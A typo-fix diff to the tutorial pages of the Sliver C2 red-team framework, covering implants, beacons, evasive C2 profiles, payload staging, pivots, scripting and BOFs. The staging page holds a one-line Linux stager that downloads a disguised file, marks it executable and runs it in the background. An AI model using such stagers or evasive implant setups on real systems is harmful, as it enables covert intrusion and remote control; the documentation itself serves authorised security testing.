fixed typos

docs/sliver-docs/pages/tutorials/md/1 - Getting Started.md

@@ -1,14 +1,14 @@
-# This course is intented for the 1.6 version of Sliver, which is not yet published
+# This course is intended for the 1.6 version of Sliver, which is not yet published
 
 `sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.
 
-First time running Sliver will take a couple seconds as its retrieving its dependencies, consecutive executions will be much faster. Go ahead and launch the `sliver-server`.
+First time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.
 
 ```asciinema
 {"src": "/asciinema/startup.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
 ```
 
-Let's take a couple minutes to discuss what Sliver actually is and how its setup.
+Let's take a couple minutes to discuss what Sliver actually is and how it's set up.
 
 ![Alt text](/images/Architecture.png)
 
@@ -36,7 +36,7 @@ SESSION  1884a365  RELATED_EARDRUM  [::1]:49153      test.local  tester  darwin/
 [*] /Users/tester/tools
 ```
 
-Once you have reached this point, go ahead and explore some of the commands listed below. In each case first checkout the commands help using the **`-h`** flag then try it out!
+Once you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!
 
 ```bash
 Exploring and interacting with the filesystem

docs/sliver-docs/pages/tutorials/md/2 - Beacons vs Sessions.md

@@ -1,8 +1,8 @@
-# This course is intented for the 1.6 version of Sliver, which is not yet published
+# This course is intended for the 1.6 version of Sliver, which is not yet published
 
 Sliver implants support two types of connections, sessions and beacons.
 
-Sessions use long-poling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
+Sessions use long-polling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
 
 Typically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.
 
@@ -60,25 +60,24 @@ The example below sets the callback time to 5s with a 1s jitter.
       Next Checkin: Wed Apr 19 01:19:46 CEST 2023 (5m5s ago)
 ```
 
-Commands issued for beacons can be viewed using `tasks`, the task state will indicate wether the command has completed or not.  The results of previously run tasks can be viewed using `tasks fetch`.
+Commands issued for beacons can be viewed using `tasks`, the task state will indicate whether the command has completed or not.  The results of previously run tasks can be viewed using `tasks fetch`.
 
 ```asciinema
 {"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
 ```
 
-Session can be spun up using the `interractive` command.
+Session can be spun up using the `interactive` command.
 
 ```asciinema
 {"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
 ```
 
-Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwith should be run from a session.
+Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
 
 Let’s switch to our newly created session and spin-up a `socks5` proxy.
 
 ```bash
 
-socks
 [server] sliver (TIRED_GIRAFFE) > use
 
 ? Select a session or beacon: SESSION  131a60b9  TIRED_GIRAFFE  127.0.0.1:51969  tester.local  tester  darwin/amd64

docs/sliver-docs/pages/tutorials/md/3 - C2 Profiles and configuration.md

@@ -1,6 +1,6 @@
-# This course is intented for the 1.6 version of Sliver, which is not yet published
+# This course is intended for the 1.6 version of Sliver, which is not yet published
 
-When generating implants sliver uses a C2Profile configuration, which will be use to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
+When generating implants sliver uses a C2Profile configuration, which will be used to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
 
 C2 profile configurations can be seen using the `c2profile` command, which also allows import and export features.
 
@@ -14,7 +14,7 @@ Lets imagine we’re trying to breach a customer we've noticed uses ruby-on-rail
 - `.png` for close session
 - `.php` for session messages
 
-We will need to update the session messages and staging with something more realistic and place all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
+We will need to update the session messages and staging with something more realistic and replace all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
 
 We will also use a list of common Urls and filenames for Ruby on Rails like `https://github.com/danielmiessler/SecLists/blob/master/DiscoveryWeb-Content/ror.txt` for the `*_files` and `*_paths` variables. You could also reuse Urls discovered while enumerating your target's external perimeter in a similar way.
 

docs/sliver-docs/pages/tutorials/md/4 - HTTP Payload staging.md

@@ -1,8 +1,8 @@
-# This course is intented for the 1.6 version of Sliver, which is not yet published
+# This course is intended for the 1.6 version of Sliver, which is not yet published
 
 When using Sliver during a live engagement, you’re going to need to use custom stagers, which are essentially a first binary or commandline that will retrieve and/or load Sliver into memory on your target system. Sliver can generate shellcode for your stager to execute by using the `profiles` command.
 
-For this exercise we will create a new beacon profile and prepare to stage it.
+For this exercise, we will create a new beacon profile and prepare to stage it.
 
 ```asciinema
 {"src": "/asciinema/create_profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
@@ -13,30 +13,30 @@ If you look at the generated implant, you'll notice the `ID` field has been popu
 https://sliver-ip/whatever.stager_file_ext?x=yourID
 ```
 
-There is a lot of flexibility in the form of this URL, the conditions for successfull staging are:
+There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
 * The file extension needs to match the c2 profile's stager_file_ext
 * There has to be a one character http url parameter
 * The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
 
-To expose a payload you need to use the `implants stage` command and specifically select the implant to leave accessible.
+To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.
 
 ```asciinema
 {"src": "/asciinema/stage_implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
 ```
 
-At this point we can try retrieving our implant, the ID is 19778.
+At this point we can try retrieving our implant. The ID is 19778.
 
 ```asciinema
 {"src": "/asciinema/implant_curl.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
 ```
 
-Sliver staging also supports encoding or encrypting our payloads before exposing them extenrally using the `profile stage` command, the implant configuration remains the same but you are now able to stage different versions of it simultaneously.
+Sliver staging also supports encoding or encrypting our payloads before exposing them externally using the `profile stage` command, the implant configuration remains the same but you are now able to stage different versions of it simultaneously.
 
 ```asciinema
 {"src": "/asciinema/stage_compress_encrypt.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
 ```
 
-A simple stager could look like this for example in Linux:
+A simple stager could look like this, for example in Linux:
 
 ```
 curl http://localhost/nothingtoseehere.yml?c=1234 --output nothingtoseehere && chmod u+x nothingtoseehere &&nohup ./nothingtoseehere

docs/sliver-docs/pages/tutorials/md/5 - Pivots.md

@@ -1,10 +1,10 @@
-# This course is intented for the 1.6 version of Sliver, which is not yet published
+# This course is intended for the 1.6 version of Sliver, which is not yet published
 
-Pivots allow routing implant traffic through other implants. This can be usefull in environments that don’t have any outbound access, but are reachable from other parts of the network that you have access to.
+Pivots allow routing implant traffic through other implants. This can be useful in environments that don’t have any outbound access, but are reachable from other parts of the network that you have access to.
 
-Sliver supports two types of pivots, tcp which can be used on all operating systems and named pipes which are windows only.
+Sliver supports two types of pivots: TCP, which can be used on all operating systems, and named pipes, which are Windows-only.
 
-In both cases the workflow is relatively similar, as a first step select a session and setup a pivot listener.
+In both cases the workflow is relatively similar, as a first step, select a session and set up a pivot listener.
 
 ```bash
 [server] sliver (INNER_GO-KART) > pivots tcp

docs/sliver-docs/pages/tutorials/md/6 - Scripting.md

@@ -1,4 +1,4 @@
-# This course is intented for the 1.6 version of Sliver, which is not yet published
+# This course is intended for the 1.6 version of Sliver, which is not yet published
 
 Reactions are a basic way to automate tasks in the sliver console, they allow you to specify sliver commands to run on a list of events.
 
@@ -47,7 +47,7 @@ COLORTERM=truecolor
 
 You can remove reactions using `reaction unset`.
 
-However, there are a couple of limitations to keep in mind when using reactions, first off these are run in the console you are currently using, which is not necessarily the server console. So if you are connected to a sliver server using the sliver client, if you disconnect the client the reactions are no longer running. 
+However, there are a couple of limitations to keep in mind when using reactions, first off, these are run in the console you are currently using, which is not necessarily the server console. So if you are connected to a sliver server using the sliver client, if you disconnect the client the reactions are no longer running. 
 
 Secondly reactions are a relatively basic mechanism, you can’t use any conditional statements or more complex background tasks with them. For more complex use-cases you can instead write your own client in Python or Typescript for example to connect to the server over gRPC, which we’ll cover next.
 
@@ -75,7 +75,7 @@ Since our extension is essentially going to be another client connection to the
 ```
 
 We now have everything we need to start writing our scripts, let’s run our first example interactively in a Python shell. 
-We first need to import a few dependencies, `SliverClientConfig` which is used to parse the client config we’ve just created and `SliverClient` which will handle the connection to the backend server.
+We first need to import a few dependencies, `SliverClientConfig`, which is used to parse the client config we’ve just created, and `SliverClient`, which will handle the connection to the backend server.
 
 ```bash
 Python 3.9.16 (main, Dec  7 2022, 10:06:04)
@@ -136,9 +136,9 @@ Out[9]:
 To run commands on this session you’ll need to create an InteractiveSession object.
 
 ```bash
-In [10]: interract = await client.interact_session("f80ec897-0870-4f03-a1b1-364e5a0d243c")
+In [10]: interact = await client.interact_session("f80ec897-0870-4f03-a1b1-364e5a0d243c")
 
-In [11]: await interract.pwd()
+In [11]: await interact.pwd()
 Out[11]: Path: "/Users/tester"
 ```
 
@@ -160,7 +160,7 @@ async def main():
     client = SliverClient(config)
     await client.connect()
 
-		async for event in client.on('session-connected'):
+    async for event in client.on('session-connected'):
         print('Session %s just connected !' % event.Session.ID)
 
 if __name__ == '__main__':
@@ -182,13 +182,13 @@ else:
             print('Session is running on %s', event.Session.OS)
 ```
 
-Let’s setup an InteractiveSession object like previously.
+Let’s set up an InteractiveSession object like previously.
 
 ```bash
 interact = await client.interact_session(event.Session.ID)
 ```
 
-We’re going to start with writing the code for Linux and Macos, since in their case the file is located in the same place. First we check if the file exists, then we download and decompress it to display its contents using gzip.
+We’re going to start with writing the code for Linux and macOS, since in their case the file is located in the same place. First we check if the file exists, then we download and decompress it to display its contents using gzip.
 
 ```bash
 file_listing = await interact.ls("/etc/hosts")

docs/sliver-docs/pages/tutorials/md/7 - Assemblies and Bofs.md

@@ -1,4 +1,4 @@
-# This course is intented for the 1.6 version of Sliver, which is not yet published
+# This course is intended for the 1.6 version of Sliver, which is not yet published
 
 The Sliver armory is used to install and maintain third party extensions and aliases within sliver. The full list of available extensions can be found at https://github.com/sliverarmory/armory, keep in mind this is community maintained so not all modules are necessarily up to date. 
 
@@ -55,7 +55,7 @@ As you can see Sliver ran the Seatbelt assembly and provided us with the output
 
 ## Bof’s
 
-Beacon object files are loaded using trustedsec’s coffloader, when you run a bof command the loader will first be loaded into memory and is used to run whichever bof you choose. From an operator’s perspective bof’s are similar to basic sliver commands.
+Beacon object files are loaded using trustedsec’s coffloader. When you run a bof command the loader will first be loaded into memory and is used to run whichever bof you choose. From an operator’s perspective bof’s are similar to basic sliver commands.
 
 ```bash
 [server] sliver (UNABLE_PRIDE) > sa-whoami
@@ -93,4 +93,4 @@ SeIncreaseWorkingSetPrivilege Increase a process working set
 SeTimeZonePrivilege           Change the time zone                              Disabled
 ```
 
-Since these payloads are run in-process, they have similar advantages and drawbacks as in-process assemblies meaning no new processes are spawned on execution, but a crash risks loosing the implant.
+Since these payloads are run in-process, they have similar advantages and drawbacks as in-process assemblies, meaning no new processes are spawned on execution, but a crash risks losing the implant.